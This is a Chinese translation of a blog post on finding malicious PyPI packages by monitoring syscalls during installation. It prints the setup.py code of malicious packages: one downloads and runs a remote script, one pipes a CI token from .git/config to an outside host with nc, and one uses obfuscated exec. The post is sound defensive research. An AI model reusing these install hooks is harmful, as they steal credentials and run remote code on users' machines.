安卓如何将edittext获取到数子传到另一个页面处理_技术分享 | 如何在PyPI上寻找恶意软件包...

e43d64f202046c3586d54f8d7d021239.png

写在前面的话

大约一年前,Python软件基金会(Python Software Foundation,RFI)公开了一个信息请求(RFI),讨论的是如何检测上传到PyPI的恶意软件包,这显然是一个影响几乎每个包管理器的实际问题。

事实上,像PyPI这样的包管理器是几乎每个公司都依赖的关键基础设施。这是我感兴趣的一个领域,所以我用我的想法回应我们应该如何去处理这个问题。在这篇文章中,我将详细介绍如何安装和分析PyPI中的每个包,并寻找其中潜在的恶意活动。

如何寻找恶意库

为了在软件包的安装过程中执行任意命令,开发人员通常会将代码添加到代码包里的setup.py文件中,具体可以参考这个【代码库】。

从大的角度来看,我们有两种方法可以找到潜在的恶意依赖组件,即静态分析和动态分析。虽然静态分析非常有趣,但本文主要使用的是动态分析方法。

那么,我们到底要寻找什么呢?

首先我们要知道一点,很多重要的事情都是由内核完成的。一般的程序(例如pip)如果想要让内核来完成某个任务时,一般都是通过使用syscalls,即系统调用完成的。打开文件,建立网络连接,以及执行命令等任务,都是通过系统调用实现的。

这也就意味着,如果我们能在一个Python包的安装过程中监控系统调用的话,那我们就可以去查看任何可疑的事件了。这样做的好处就在于,无论恶意代码经过了多少层混淆处理,我们都可以查看到这些代码实际要做的事情。

现在,我们只要要做的事情就是监控系统调用了,那么我们该如何做呢?

使用Sysdig监控系统调用

实际上,社区已经提供了很多能够帮助我们监控系统调用的工具了。针对我们这个目标,我选择使用的时Sysdig,因为它既能够提供结构化的输出,又能够帮助我们很好地对数据进行过滤。

为了实现这一点,在启动安装包的Docker容器时,我还启动了一个Sysdig进程,该进程只会监视来自该容器的事件。除此之外,我还过滤掉了跟pypi.org或files.pythonhosted.com相关的网络读写操作,因为它们跟我们的目标无关。

现在我们已经有了捕获系统调用的方法,但还有一个不得不解决的问题,即如何获取所有可用PyPI包的完整列表。

获取Python包

幸运的是,PyPI提供了一个名为“Simple API”的API接口,这个接口可以被当作是一个包含了指向每一个软件包链接的大型HTML页面。我们可以爬取这个页面中的信息,并使用pup来对链接进行解析,这样我们就可以拿到大约268000个软件包:

❯ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt               ❯ wc -l pypi_full.txt  268038 pypi_full.txt

针对我们的实验场景,我们需要的是每一个软件包的最新版本,我们的管道如下:

507fb70b893118f5a44f16cda09d77da.png

简而言之,我们将每个包的名称发送到一组EC2实例,它可以从PyPI获取关于包的一些元数据,然后启动sysdig以及一系列容器来通过pip安装包,同时收集系统调用和网络流量。然后,所有的数据都被传送到S3以供后续分析使用。

整个过程如下图所示:

16de5b723cfa89ce3ef59b2b276020e2.png

上述操作完成后,我们将在一个S3 Bucket中存储大约1TB的数据,其中包含了大约245000个软件包。我们对元数据和输出进行整理之后,将得到一系列JSON文件:

{    "metadata": {},    "output": {        "dns": [],         // Any DNS requests made        "files": [],       // All file access operations        "connections": [], // TCP connections established        "commands": [],    // Any commands executed    }}

然后,我编写了一系列脚本来聚合数据,试图对代码的行为进行分析,让我们深入研究一下结果。

网络请求

软件包在安装过程中需要进行网络连接的原因有很多,它们可能需要下载合法的二进制组件或其他资源,也有可能是在尝试从系统中提取数据或凭证。

我们发现,其中有460包会跟109台单独的主机建立网络连接。正如上面提到的,其中相当一部分是由于软件包共享依赖组件(这些依赖会进行网络连接)的结果。不过,我们可以通过映射依赖关系可以过滤掉这些内容。

命令执行

与网络连接一样,软件包在安装期间运行系统命令也是有正当理由,这里可以是编译本机二进制文件和设置正确的环境等等。纵观我们的示例集,我们发现有60725个包会在安装期间执行命令。就像网络连接一样,我们必须记住,许多连接都是由运行命令的包的下游依赖组件发起的。

有趣的软件包

深入研究结果,大多数网络连接和命令似乎是合法的。但是,我想把一些奇怪的行为作为案例研究,来说明这种分析有多有用。

i-am-malicious

这里,我们发现了一个名叫i-am-malicious的包,它就是一个恶意包。如果大家觉得这个包的名字还不够明显的话,下面的细节也足以证明一切:

{  "dns": [{          "name": "gist.githubusercontent.com",          "addresses": [            "199.232.64.133"          ]    }]  ],  "files": [    ...    {      "filename": "/tmp/malicious.py",      "flag": "O_RDONLY|O_CLOEXEC"    },    ...    {      "filename": "/tmp/malicious-was-here",      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"    },    ...  ],  "commands": [    "python /tmp/malicious.py"  ]}

我们看到,它会跟gist.github.com建立连接,执行一个Python文件,然后创建一个名为“/tmp/malicious-was-here”的文件。果不其然,这些全部都是利用setup.py实现的:

from urllib.request import urlopenhandler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")with open("/tmp/malicious.py", "wb") as fp:    fp.write(handler.read())import subprocesssubprocess.call(["python", "/tmp/malicious.py"])

maliciouspackage

另一个恶意包甚至直接把名字都改成了maliciouspackage,下面给出的是相关的输出:

{  "dns": [{      "name": "laforge.xyz",      "addresses": [        "34.82.112.63"      ]  }],  "files": [    {      "filename": "/app/.git/config",      "flag": "O_RDONLY"    },  ],  "commands": [    "sh -c apt install -y socat",    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",    "grep ci-token /app/.git/config",    "nc laforge.xyz 5566"  ]}

这个包似乎能够从“.git/config”文件中提取出令牌,并将其上传至laforge.xyz。通过分析其setup.py,我们可以看到下列内容:

...import osos.system('apt install -y socat')os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl

还有一个名叫easyIoCtl的包,它声称能够抽象化IO操作,但我们发现它会执行下列命令:

[  "sh -c touch /tmp/testing123",  "touch /tmp/testing123"]

这很可疑,但不一定具有恶意性。不过这个例子很好地展示了我们用于跟踪系统调用的方法。下面是该项目的setup.py文件:

class MyInstall():    def run(self):        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$IjqmSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]        control_flow_guard_init = ""        for controL_flow_code in control_flow_guard_mappers:            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]        exec(control_flow_guard_init)

为了弄清楚这些代码要做的事情,我们可以用print来代替exec,结果如下:

import os;os.system('touch /tmp/testing123')

这就是它索要执行的命令,即使代码经过了混淆处理,也不会影响我们的分析结果,因为我们是在系统调用级别上进行的监控。

8e3e0bab03bf7b7051e454d0dd310ff9.gif

精彩推荐

33dfefe645c80189fa28390136a8c325.png 2fdb3015c0a55ddfab1840de3ccf7029.png cbefa4699c7bd71bc0a0791b2b8cd4ec.png

ae3124bb02771df84b7b77e97717efcf.pngb7def3642d5ed02817d39722bf23dbb7.png392822bd7698bc69a2815e4470e59953.png

37b290ff10d931df778bba5f5868c5b0.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值